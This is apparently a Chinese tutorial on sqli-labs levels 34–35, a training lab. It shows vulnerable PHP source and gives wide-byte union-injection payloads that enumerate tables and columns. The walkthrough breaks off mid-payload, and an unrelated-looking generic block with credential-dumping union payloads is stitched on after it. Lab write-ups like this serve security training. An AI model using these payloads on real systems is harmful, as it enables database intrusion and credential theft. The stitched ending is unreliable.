SQL-Labs靶场“34-35”关通关教程


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、34关 POST单引号宽字节注入

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        $uname = addslashes($uname1);
        $passwd= addslashes($passwd1);
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;
	// connectivity 
	mysqli_query($con1, "SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
		···
		echo 'Your Login name:'. $row['username'];
		···
		echo 'Your Password:' .$row['password'];
		···
  	}
	else  
	{
		···
		//echo "Try again looser";
		print_r(mysqli_error($con1));
		···
	}
}
?>

这里我们只需要看以下代码:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
在这里插入图片描述
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。

2、联合查询注入

1、猜字段数

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述
我们可以看到没有第三列,所以我们为2列。

2、测试观察回显内容

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库中所有表的名称

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据库中表的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。

uname=
### SQL注入实验环境 sqli-labs 靶场解题思路 #### less17: Union 注入基础 Union查询是一种常见的SQL注入手法,通过`UNION SELECT`语句可以将额外的数据集附加到原始查询的结果集中。为了成功执行这种攻击,两个查询返回的列数必须相同,并且数据类型的兼容性也要匹配。 对于less17来说,目标是在存在漏洞的应用程序参数中构造有效的payload来获取敏感信息。例如,在给定条件下可以通过如下方式尝试读取当前使用的数据库名称: ```sql ?id=-1' UNION SELECT 1,database() -- ``` 上述命令利用了闭合单引号后的逻辑错误并追加了一个新的SELECT子句[^1]。 #### 获取MySQL版本与数据库名 进一步探索时,除了了解正在操作哪个具体的数据库外,知道服务器上运行的是哪一个版本也是非常有用的。这有助于判断可能存在的特定弱点或特性。下面是一个用于同时检索这两个值的例子: ```sql ?id=-1' UNION SELECT 1,CONCAT(version(),'|',database()) -- ``` 此表达式会连接MySQL版本字符串和活动库的名字作为第二列的内容输出[^2]。 #### 枚举用户名密码哈希值 一旦掌握了足够的背景知识之后就可以转向更深入的信息挖掘工作——比如从用户表里提取账户凭证。这里展示了一种方法用来列举所有用户的登录凭据(假设字段名为username,password),并且用特殊字符分隔开它们以便于解析: ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,'~',password) FROM users -- ``` 这段代码将会把所有的用户名及其对应的散列形式的口令组合成单一字符串返回给调用者[^4]。 请注意,以上内容仅限学习研究目的使用;实际环境中未经授权擅自访问他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值